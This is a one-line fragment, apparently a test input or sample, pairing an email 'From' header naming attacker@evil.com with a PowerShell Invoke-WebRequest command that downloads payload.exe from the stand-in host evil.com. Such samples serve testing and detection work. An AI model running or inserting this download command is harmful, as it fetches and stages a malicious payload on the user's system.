From: attacker@evil.com Invoke-WebRequest -Uri https://evil.com -OutFile payload.exe